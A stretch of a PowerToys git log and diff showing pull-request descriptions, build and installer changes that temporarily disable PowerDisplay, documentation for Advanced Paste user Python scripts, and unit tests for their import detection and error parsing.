- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

When no window alive, the settings exe should also be gone
2026-02-25 21:50:42 +08:00
leileizhang
5d11e8e805 [SFI] Fix libFuzzer failing to resolve target class name in Hosts module fuzz tests (#45784)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
In PR
https://github.com/microsoft/PowerToys/pull/40754/changes#diff-458c2dd654182dce7f6ad70fadd40d048a99f9be2cd9506747dde5964e6f396a
the config class name was changed incorrectly, which caused libFuzzer to
fail to resolve the target type HostsEditor.FuzzTests.FuzzTests and
resulted in test failures.

<img width="2074" height="311" alt="image"
src="https://github.com/user-attachments/assets/8a8d4ce8-71e7-45d6-ae7e-da43da6c63ca"
/>


This change updates the class name to the correct value to fix the
issue.

<img width="2098" height="647" alt="image"
src="https://github.com/user-attachments/assets/2715dade-63e1-4cdb-856a-8f199ffcd38a"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-25 13:54:46 +08:00
Jiří Polášek
83f26d4684 CmdPal: Configure .editorconfig to format MSBuild files (#45739)
## Summary of the Pull Request

This PR configures the Command Palette's .editorconfig to format MSBuild
project and props files, and reformats the files accordingly.

No functional changes.
2026-02-24 14:50:17 -06:00
214 changed files with 14191 additions and 1281 deletions

View File

@@ -315,6 +315,7 @@ xef
xes
PACKAGEVERSIONNUMBER
APPXMANIFESTVERSION
PROGMAN
# MRU lists
CACHEWRITE
@@ -325,6 +326,14 @@ REGSTR
# Misc Win32 APIs and PInvokes
INVOKEIDLIST
MEMORYSTATUSEX
ABE
HTCAPTION
POSCHANGED
QUERYPOS
SETAUTOHIDEBAR
WINDOWPOS
WINEVENTPROC
WORKERW
# PowerRename metadata pattern abbreviations (used in tests and regex patterns)
DDDD
@@ -349,3 +358,6 @@ nostdin
# Performance counter keys
engtype
Nonpaged
# XAML
Untargeted

View File

@@ -211,9 +211,6 @@
"PowerToys.PowerAccentModuleInterface.dll",
"PowerToys.PowerAccentKeyboardService.dll",
"PowerToys.PowerDisplayModuleInterface.dll",
"WinUI3Apps\\PowerToys.PowerDisplay.dll",
"WinUI3Apps\\PowerToys.PowerDisplay.exe",
"PowerDisplay.Lib.dll",
"WinUI3Apps\\PowerToys.PowerRenameExt.dll",

View File

@@ -688,11 +688,13 @@
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<!-- TEMPORARILY_DISABLED: PowerDisplay
<Project Path="src/modules/powerdisplay/PowerDisplay/PowerDisplay.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/powerdisplay/PowerDisplayModuleInterface/PowerDisplayModuleInterface.vcxproj" Id="d1234567-8901-2345-6789-abcdef012345" />
-->
</Folder>
<Folder Name="/modules/PowerDisplay/Tests/">
<Project Path="src/modules/powerdisplay/PowerDisplay.Lib.UnitTests/PowerDisplay.Lib.UnitTests.csproj">

View File

@@ -0,0 +1,203 @@
# Advanced Paste Python Scripts
Advanced Paste supports user-defined Python scripts that transform clipboard content. Scripts are
discovered automatically from a configurable folder and appear as actions in the Advanced Paste UI.
## Quick start
1. Open the scripts folder — by default `%LOCALAPPDATA%\Microsoft\PowerToys\AdvancedPaste\Scripts`.
You can change this in **Settings → Advanced Paste → Python scripts → Scripts folder**.
2. Drop a `.py` file into the folder.
3. Add the required header comments at the top (see [Header format](#header-format)).
4. Open the Advanced Paste UI (`Win+Shift+V`) — your script will appear in the action list.
## Header format
Every script must start with one or more **header comment lines**. Each line follows the pattern:
```
# @advancedpaste:<tag> <value>
```
The parser reads the first 50 lines of each file; only lines beginning with `#` are inspected.
### Supported tags
| Tag | Required | Description |
|-----|----------|-------------|
| `name` | **Yes** | Display name shown in the Advanced Paste UI. |
| `desc` | No | Short description / tooltip. |
| `formats` | No | Comma-separated list of supported clipboard formats. Defaults to **all** formats when omitted. |
| `platform` | No | `windows` (default) or `linux`. Determines the execution mode (see below). |
| `version` | No | Free-form version string (reserved for future use). |
| `requires` | No | Space-separated Python package requirements. See [Declaring dependencies](#declaring-dependencies). |
### Formats
| Value | Clipboard content |
|-------|--------------------|
| `text` | Plain or Unicode text (`CF_UNICODETEXT`) |
| `html` | HTML fragment (`CF_HTML`) |
| `image` | Bitmap / PNG image |
| `audio` | Audio file(s) |
| `video` | Video file(s) |
| `files` or `file` | File paths (`CF_HDROP` / `StorageItems`) |
| `any` | All of the above |
Multiple values can be combined with commas:
```python
# @advancedpaste:formats text,html
```
## Execution modes
### Windows mode (`platform windows`)
The script runs directly on Windows via the configured Python interpreter.
It **owns the clipboard** — use a library like `pywin32` (`win32clipboard`) to read
and write clipboard data.
**Invocation:**
```
python.exe "<script.py>" --format <detected_format> --work-dir "<temp_dir>"
```
**Minimal example — reverse text:**
```python
# @advancedpaste:name Reverse text
# @advancedpaste:formats text
# @advancedpaste:platform windows
import win32clipboard
win32clipboard.OpenClipboard()
text = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardData(win32clipboard.CF_UNICODETEXT, text[::-1])
win32clipboard.CloseClipboard()
```
After the script exits with code 0, Advanced Paste re-reads the clipboard and pastes
the result. A non-zero exit code signals failure; stderr is shown in the error UI.
### WSL / Linux mode (`platform linux`)
The script runs inside WSL via `wsl.exe bash -l -c "python3 -X utf8 <script>"`.
Instead of direct clipboard access, data is exchanged via **JSON**:
| Direction | Channel | Schema |
|-----------|---------|--------|
| **Input** (C# → Python) | `stdin` (JSON) | See [Input payload](#input-payload) |
| **Output** (Python → C#) | `stdout` (JSON) | See [Output payload](#output-payload) |
#### Input payload
```jsonc
{
"version": 2,
"format": ["text"], // array of detected clipboard format names
"work_dir": "/mnt/c/...", // writable temp directory (WSL path)
"text": "Hello, world!", // present when clipboard has text
"html": "<b>Hello</b>", // present when clipboard has HTML
"image_path": "/mnt/c/.../input.png", // present when clipboard has an image
"file_paths": ["/mnt/c/.../file.txt"] // present when clipboard has files
}
```
#### Output payload
```jsonc
{
"result_type": "text", // "text" | "html" | "image" | "file" | "files"
"text": "HELLO, WORLD!", // for result_type "text"
"html": "<b>HELLO</b>", // for result_type "html"
"image_path": "/mnt/c/.../output.png", // for result_type "image"
"file_paths": ["/mnt/c/.../out.txt"] // for result_type "file"/"files"
}
```
> **Note:** File paths in the output must use `/mnt/<drive>/...` format so that
> Advanced Paste can map them back to Windows paths.
**Minimal example — uppercase text (WSL):**
```python
# @advancedpaste:name WSL Upper Case
# @advancedpaste:formats text
# @advancedpaste:platform linux
import sys, json
data = json.load(sys.stdin)
text = data.get("text", "")
json.dump({"result_type": "text", "text": text.upper()}, sys.stdout)
```
## Declaring dependencies
Use `requires` to declare Python packages the script needs:
```python
# @advancedpaste:requires markitdown='markitdown[all]'
# @advancedpaste:requires cv2=opencv-python-headless numpy requests
```
Each token is either:
- **`import_name`** — the pip package is assumed to have the same name (e.g. `requests`).
- **`import_name=pip_package`** — when the import name differs from the pip package
(e.g. `cv2=opencv-python-headless`, `PIL=Pillow`).
Multiple tokens on one line are space-separated. You can also use multiple `requires` lines.
### Automatic import detection
Advanced Paste also scans the script body for `import` and `from ... import` statements
and cross-references them against the Python standard library. Any non-stdlib import
that is not already installed triggers a prompt to install it automatically.
A built-in mapping table handles common mismatches (e.g. `win32clipboard``pywin32`,
`cv2``opencv-python`, `PIL``Pillow`). For uncommon packages where the import name
differs from the pip name, add an explicit `requires` entry.
## Security — script trust
The first time a script is executed (or after it has been modified), Advanced Paste
shows a confirmation dialog. Upon approval the SHA-256 hash of the script is stored.
Subsequent runs of the unchanged file skip the dialog.
## Error handling
When a script fails, Advanced Paste extracts the Python traceback from stderr and
displays a user-friendly summary in the UI:
- **ModuleNotFoundError** — identifies the missing module and suggests installing it.
- **SyntaxError** — shows the file and line number.
- **Timeout** — shows the configured timeout value (default 30 s; configurable in Settings).
- **Other errors** — shows the last line of the traceback as a summary, with the full
traceback available in the expandable *Details* section.
## Settings
The following settings are available under **Settings → Advanced Paste → Python scripts**:
| Setting | Description | Default |
|---------|-------------|---------|
| Python interpreter | Path to the Python executable. Leave blank for auto-detection. | *(auto-detect)* |
| Scripts folder | Folder to scan for `.py` scripts. | `%LOCALAPPDATA%\Microsoft\PowerToys\AdvancedPaste\Scripts` |
## Tips
- Put reusable helper functions in a separate `.py` file without a `# @advancedpaste:name`
header — it will be ignored by the script discovery and can be imported by other scripts.
- For complex WSL scripts that need packages not available via `apt`, consider using
a virtual environment. The script can re-exec itself with the venv interpreter:
```python
import os, sys
venv = os.path.expanduser("~/my_env/bin/python3")
if os.path.exists(venv) and sys.executable != venv:
os.execv(venv, [venv] + sys.argv)
```
- The `--work-dir` argument (Windows mode) and `work_dir` JSON field (WSL mode) point to
a temporary directory that is cleaned up after execution. Use it for intermediate files.

View File

@@ -1565,7 +1565,6 @@ UINT __stdcall TerminateProcessesCA(MSIHANDLE hInstall)
L"PowerToys.PowerRename.exe",
L"PowerToys.ImageResizer.exe",
L"PowerToys.LightSwitchService.exe",
L"PowerToys.PowerDisplay.exe",
L"PowerToys.GcodeThumbnailProvider.exe",
L"PowerToys.BgcodeThumbnailProvider.exe",
L"PowerToys.PdfThumbnailProvider.exe",

View File

@@ -47,7 +47,6 @@ call powershell.exe -NonInteractive -executionpolicy Unrestricted -File $(MSBuil
call move /Y ..\..\..\NewPlus.wxs.bk ..\..\..\NewPlus.wxs
call move /Y ..\..\..\Peek.wxs.bk ..\..\..\Peek.wxs
call move /Y ..\..\..\PowerRename.wxs.bk ..\..\..\PowerRename.wxs
call move /Y ..\..\..\PowerDisplay.wxs.bk ..\..\..\PowerDisplay.wxs
call move /Y ..\..\..\Product.wxs.bk ..\..\..\Product.wxs
call move /Y ..\..\..\RegistryPreview.wxs.bk ..\..\..\RegistryPreview.wxs
call move /Y ..\..\..\Resources.wxs.bk ..\..\..\Resources.wxs
@@ -124,7 +123,6 @@ call powershell.exe -NonInteractive -executionpolicy Unrestricted -File $(MSBuil
<Compile Include="KeyboardManager.wxs" />
<Compile Include="Peek.wxs" />
<Compile Include="PowerRename.wxs" />
<Compile Include="PowerDisplay.wxs" />
<Compile Include="DscResources.wxs" />
<Compile Include="RegistryPreview.wxs" />
<Compile Include="Run.wxs" />

View File

@@ -53,7 +53,6 @@
<ComponentGroupRef Id="LightSwitchComponentGroup" />
<ComponentGroupRef Id="PeekComponentGroup" />
<ComponentGroupRef Id="PowerRenameComponentGroup" />
<ComponentGroupRef Id="PowerDisplayComponentGroup" />
<ComponentGroupRef Id="RegistryPreviewComponentGroup" />
<ComponentGroupRef Id="RunComponentGroup" />
<ComponentGroupRef Id="SettingsComponentGroup" />

View File

@@ -176,10 +176,6 @@ Generate-FileComponents -fileListName "ImageResizerAssetsFiles" -wxsFilePath $PS
Generate-FileList -fileDepsJson "" -fileListName LightSwitchFiles -wxsFilePath $PSScriptRoot\LightSwitch.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\LightSwitchService"
Generate-FileComponents -fileListName "LightSwitchFiles" -wxsFilePath $PSScriptRoot\LightSwitch.wxs
#PowerDisplay
Generate-FileList -fileDepsJson "" -fileListName PowerDisplayAssetsFiles -wxsFilePath $PSScriptRoot\PowerDisplay.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\PowerDisplay"
Generate-FileComponents -fileListName "PowerDisplayAssetsFiles" -wxsFilePath $PSScriptRoot\PowerDisplay.wxs
#New+
Generate-FileList -fileDepsJson "" -fileListName NewPlusAssetsFiles -wxsFilePath $PSScriptRoot\NewPlus.wxs -depsPath "$PSScriptRoot..\..\..\$platform\Release\WinUI3Apps\Assets\NewPlus"
Generate-FileComponents -fileListName "NewPlusAssetsFiles" -wxsFilePath $PSScriptRoot\NewPlus.wxs

View File

@@ -117,4 +117,4 @@
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
</Project>

View File

@@ -515,8 +515,7 @@ namespace ManagedCommon
return lightnessL.ToString(CultureInfo.InvariantCulture);
case "Lc":
var (lightnessC, _, _) = ConvertToCIELABColor(color);
lightnessC = Math.Round(lightnessC, 2);
return lightnessC.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(lightnessC, paramFormat, 2);
case "Lo":
var (lightnessO, _, _) = ConvertToOklabColor(color);
lightnessO = Math.Round(lightnessO, 2);
@@ -531,12 +530,10 @@ namespace ManagedCommon
return blackness.ToString(CultureInfo.InvariantCulture);
case "Ca":
var (_, chromaticityA, _) = ConvertToCIELABColor(color);
chromaticityA = Math.Round(chromaticityA, 2);
return chromaticityA.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(chromaticityA, paramFormat, 2);
case "Cb":
var (_, _, chromaticityB) = ConvertToCIELABColor(color);
chromaticityB = Math.Round(chromaticityB, 2);
return chromaticityB.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(chromaticityB, paramFormat, 2);
case "Oa":
var (_, chromaticityAOklab, _) = ConvertToOklabColor(color);
chromaticityAOklab = Math.Round(chromaticityAOklab, 2);
@@ -595,6 +592,24 @@ namespace ManagedCommon
}
}
private static string ColorPercentFormatted(double colorPercentValue, char paramFormat, int defaultDecimalDigits)
{
switch (paramFormat)
{
case 'i':
double roundedColorPercentValue = Math.Round(colorPercentValue);
if (roundedColorPercentValue == 0)
{
// convert -0 to 0
roundedColorPercentValue = 0.0;
}
return roundedColorPercentValue.ToString(CultureInfo.InvariantCulture);
default:
return Math.Round(colorPercentValue, defaultDecimalDigits).ToString(CultureInfo.InvariantCulture);
}
}
public static string GetDefaultFormat(string formatName)
{
switch (formatName)

View File

@@ -149,6 +149,7 @@
<decimal value="0" />
</disabledValue>
</policy>
<!-- TEMPORARILY_DISABLED: PowerDisplay
<policy name="ConfigureEnabledUtilityPowerDisplay" class="Both" displayName="$(string.ConfigureEnabledUtilityPowerDisplay)" explainText="$(string.ConfigureEnabledUtilityDescription)" key="Software\Policies\PowerToys" valueName="ConfigureEnabledUtilityPowerDisplay">
<parentCategory ref="PowerToys" />
<supportedOn ref="SUPPORTED_POWERTOYS_0_95_0" />
@@ -159,6 +160,7 @@
<decimal value="0" />
</disabledValue>
</policy>
-->
<policy name="ConfigureEnabledUtilityEnvironmentVariables" class="Both" displayName="$(string.ConfigureEnabledUtilityEnvironmentVariables)" explainText="$(string.ConfigureEnabledUtilityDescription)" key="Software\Policies\PowerToys" valueName="ConfigureEnabledUtilityEnvironmentVariables">
<parentCategory ref="PowerToys" />
<supportedOn ref="SUPPORTED_POWERTOYS_0_75_0" />

View File

@@ -248,7 +248,7 @@ If you don't configure this policy, the user will be able to control the setting
<string id="ConfigureEnabledUtilityCmdPal">CmdPal: Configure enabled state</string>
<string id="ConfigureEnabledUtilityCropAndLock">Crop And Lock: Configure enabled state</string>
<string id="ConfigureEnabledUtilityLightSwitch">Light Switch: Configure enabled state</string>
<string id="ConfigureEnabledUtilityPowerDisplay">PowerDisplay: Configure enabled state</string>
<!-- <string id="ConfigureEnabledUtilityPowerDisplay">PowerDisplay: Configure enabled state</string> --><!-- TEMPORARILY_DISABLED: PowerDisplay -->
<string id="ConfigureEnabledUtilityEnvironmentVariables">Environment Variables: Configure enabled state</string>
<string id="ConfigureEnabledUtilityFancyZones">FancyZones: Configure enabled state</string>
<string id="ConfigureEnabledUtilityFileLocksmith">File Locksmith: Configure enabled state</string>

View File

@@ -57,6 +57,16 @@ internal sealed class IntegrationTestUserSettings : IUserSettings
public PasteAIConfiguration PasteAIConfiguration => _configuration;
public IReadOnlyList<AdvancedPastePythonScriptAction> PythonScriptActions => Array.Empty<AdvancedPastePythonScriptAction>();
public string PythonScriptsFolder => string.Empty;
public string PythonExecutablePath => string.Empty;
public int PythonScriptTimeoutSeconds => 30;
public IReadOnlyDictionary<string, string> TrustedScriptHashes => new Dictionary<string, string>();
public event EventHandler Changed;
public Task SetActiveAIProviderAsync(string providerId)
@@ -65,4 +75,8 @@ internal sealed class IntegrationTestUserSettings : IUserSettings
Changed?.Invoke(this, EventArgs.Empty);
return Task.CompletedTask;
}
public void StoreTrustedScriptHash(string scriptPath, string hash)
{
}
}

View File

@@ -0,0 +1,378 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Linq;
using AdvancedPaste.Services.PythonScripts;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace AdvancedPaste.UnitTests.ServicesTests;
[TestClass]
public sealed class PythonScriptServiceTests
{
[TestMethod]
public void MergeWithAutoDetectedImports_DetectsSimpleImports()
{
var lines = new[]
{
"# @advancedpaste:name test",
"import requests",
"import numpy",
"import os",
"import sys",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(2, result.Count); // requests + numpy; os and sys are stdlib
Assert.IsTrue(result.Any(r => r.ImportName == "requests" && r.PipPackage == "requests"));
Assert.IsTrue(result.Any(r => r.ImportName == "numpy" && r.PipPackage == "numpy"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_DetectsFromImports()
{
var lines = new[]
{
"from PIL import Image",
"from markitdown import MarkItDown",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(2, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "PIL" && r.PipPackage == "Pillow"));
Assert.IsTrue(result.Any(r => r.ImportName == "markitdown" && r.PipPackage == "markitdown"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_WellKnownMappings()
{
var lines = new[]
{
"import cv2",
"import win32clipboard",
"import yaml",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(3, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "cv2" && r.PipPackage == "opencv-python"));
Assert.IsTrue(result.Any(r => r.ImportName == "win32clipboard" && r.PipPackage == "pywin32"));
Assert.IsTrue(result.Any(r => r.ImportName == "yaml" && r.PipPackage == "PyYAML"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_ExplicitRequirementsTakePrecedence()
{
var lines = new[]
{
"import cv2",
"import requests",
};
var explicitReqs = new List<PythonRequirement>
{
new("cv2", "opencv-python-headless"),
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, explicitReqs);
Assert.AreEqual(2, result.Count);
// cv2 should use the explicit pip package name, not the well-known mapping
var cv2Req = result.First(r => r.ImportName == "cv2");
Assert.AreEqual("opencv-python-headless", cv2Req.PipPackage);
// requests should be auto-detected
Assert.IsTrue(result.Any(r => r.ImportName == "requests"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_SkipsStdlib()
{
var lines = new[]
{
"import os",
"import sys",
"import json",
"import io",
"import pathlib",
"import tempfile",
"import subprocess",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(0, result.Count);
}
[TestMethod]
public void MergeWithAutoDetectedImports_SkipsComments()
{
var lines = new[]
{
"# import requests",
"# from PIL import Image",
"import json",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(0, result.Count);
}
[TestMethod]
public void MergeWithAutoDetectedImports_HandlesMultipleImportsOnOneLine()
{
var lines = new[]
{
"import requests, numpy, pandas",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(3, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "requests"));
Assert.IsTrue(result.Any(r => r.ImportName == "numpy"));
Assert.IsTrue(result.Any(r => r.ImportName == "pandas"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_HandlesSubmoduleImport()
{
var lines = new[]
{
"import win32com.client",
"from llama_cpp import Llama",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(2, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "win32com" && r.PipPackage == "pywin32"));
Assert.IsTrue(result.Any(r => r.ImportName == "llama_cpp" && r.PipPackage == "llama-cpp-python"));
}
[TestMethod]
public void ParsePythonError_ModuleNotFoundError()
{
var stderr = """
Traceback (most recent call last):
File "C:\scripts\reverse.py", line 4, in <module>
import win32clipboard
ModuleNotFoundError: No module named 'win32clipboard'
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("reverse.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 4"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("win32clipboard"), $"Summary should mention the module: {summary}");
Assert.IsTrue(summary.Contains("pywin32"), $"Summary should suggest pip package: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_SyntaxError()
{
var stderr = """
File "test.py", line 5
def foo(
^
SyntaxError: unexpected EOF while parsing
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("test.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 5"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("Python syntax error:"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_SyntaxErrorWithColumn()
{
var stderr = " File \"script.py\", line 3\n x = (1 +\n ^\nSyntaxError: '(' was never closed\n";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("script.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 3"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("col"), $"Summary should mention the column: {summary}");
Assert.IsTrue(summary.Contains("Python syntax error:"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_GenericError()
{
var stderr = """
Traceback (most recent call last):
File "test.py", line 10, in <module>
result = 1 / 0
ZeroDivisionError: division by zero
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("test.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 10"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("ZeroDivisionError"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_NestedTraceback_ShowsLastFrame()
{
var stderr = """
Traceback (most recent call last):
File "main.py", line 5, in <module>
helper()
File "helper.py", line 12, in helper
do_work()
File "worker.py", line 8, in do_work
raise RuntimeError("bad state")
RuntimeError: bad state
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("worker.py"), $"Summary should mention the last script in the chain: {summary}");
Assert.IsTrue(summary.Contains("line 8"), $"Summary should mention the line of the last frame: {summary}");
Assert.IsTrue(summary.Contains("bad state"), $"Summary should contain the error message: {summary}");
}
[TestMethod]
public void ParsePythonError_EmptyStderr()
{
var (summary, details) = PythonScriptService.ParsePythonError(string.Empty);
Assert.IsTrue(!string.IsNullOrEmpty(summary));
Assert.AreEqual(string.Empty, details);
}
[TestMethod]
public void ParsePythonError_NoTraceback_PlainStderr()
{
var stderr = "Something went wrong in the script\n";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
// No File "..." reference, so no location — just the message
Assert.IsTrue(summary.Contains("Something went wrong"), $"Summary: {summary}");
Assert.IsFalse(summary.Contains("line"), $"Summary should not contain 'line' without a traceback: {summary}");
}
[TestMethod]
public void ExtractLastTracebackLocation_BasicTraceback()
{
var lines = new[]
{
"Traceback (most recent call last):",
" File \"script.py\", line 10, in <module>",
" result = 1 / 0",
"ZeroDivisionError: division by zero",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNotNull(location);
Assert.AreEqual("script.py", location.Value.FileName);
Assert.AreEqual(10, location.Value.Line);
Assert.IsNull(location.Value.Column);
}
[TestMethod]
public void ExtractLastTracebackLocation_WithCaret()
{
var lines = new[]
{
" File \"test.py\", line 5",
" def foo(",
" ^",
"SyntaxError: unexpected EOF while parsing",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNotNull(location);
Assert.AreEqual("test.py", location.Value.FileName);
Assert.AreEqual(5, location.Value.Line);
Assert.IsNotNull(location.Value.Column);
}
[TestMethod]
public void ExtractLastTracebackLocation_FullPath_ReturnsBasename()
{
var lines = new[]
{
"Traceback (most recent call last):",
" File \"C:\\Users\\user\\scripts\\my_script.py\", line 42, in <module>",
" some_call()",
"ValueError: invalid value",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNotNull(location);
Assert.AreEqual("my_script.py", location.Value.FileName);
Assert.AreEqual(42, location.Value.Line);
}
[TestMethod]
public void ExtractLastTracebackLocation_NoFileLine_ReturnsNull()
{
var lines = new[]
{
"Some random error output",
"No traceback here",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNull(location);
}
[TestMethod]
public void ParsePipInstallError_ExtractsErrorLine()
{
var stderr = """
Collecting some-package
Downloading some-package-1.0.tar.gz (15 kB)
ERROR: Could not find a version that satisfies the requirement some-package (from versions: none)
ERROR: No matching distribution found for some-package
""";
var (summary, fullStderr) = PythonScriptService.ParsePipInstallError(stderr);
Assert.IsTrue(summary.Contains("No matching distribution"), $"Summary should contain the last ERROR line: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(fullStderr));
}
[TestMethod]
public void ParsePipInstallError_NoErrorPrefix_UsesLastLine()
{
var stderr = "permission denied: /usr/lib/python3/dist-packages\n";
var (summary, fullStderr) = PythonScriptService.ParsePipInstallError(stderr);
Assert.IsTrue(summary.Contains("permission denied"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(fullStderr));
}
[TestMethod]
public void ParsePipInstallError_EmptyStderr()
{
var (summary, fullStderr) = PythonScriptService.ParsePipInstallError(string.Empty);
Assert.AreEqual("unknown error", summary);
Assert.AreEqual(string.Empty, fullStderr);
}
}

View File

@@ -14,6 +14,7 @@ using AdvancedPaste.Helpers;
using AdvancedPaste.Models;
using AdvancedPaste.Services;
using AdvancedPaste.Services.CustomActions;
using AdvancedPaste.Services.PythonScripts;
using AdvancedPaste.Settings;
using AdvancedPaste.ViewModels;
using ManagedCommon;
@@ -83,6 +84,8 @@ namespace AdvancedPaste
services.AddSingleton<IPasteAIProviderFactory, PasteAIProviderFactory>();
services.AddSingleton<ICustomActionTransformService, CustomActionTransformService>();
services.AddSingleton<IKernelService, AdvancedAIKernelService>();
services.AddSingleton<IPythonScriptService, PythonScriptService>();
services.AddSingleton<IPythonScriptTrustService, PythonScriptTrustService>();
services.AddSingleton<IPasteFormatExecutor, PasteFormatExecutor>();
services.AddSingleton<OptionsViewModel>();
}).Build();

View File

@@ -755,63 +755,7 @@
<animations:OpacityAnimation To="0.0" Duration="0:0:0.167" />
</animations:Implicit.HideAnimations>
</TextBlock>
<Grid
x:Name="ErrorMessageGrid"
x:Uid="ErrorMessageGrid"
Grid.Row="1"
Margin="8,8,0,0"
ColumnSpacing="8"
Visibility="Collapsed">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto" />
<ColumnDefinition Width="*" />
</Grid.ColumnDefinitions>
<StackPanel Grid.Column="0" Orientation="Horizontal">
<ToolTipService.ToolTip>
<ToolTip VerticalOffset="-105" Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}">
<StackPanel
MinWidth="300"
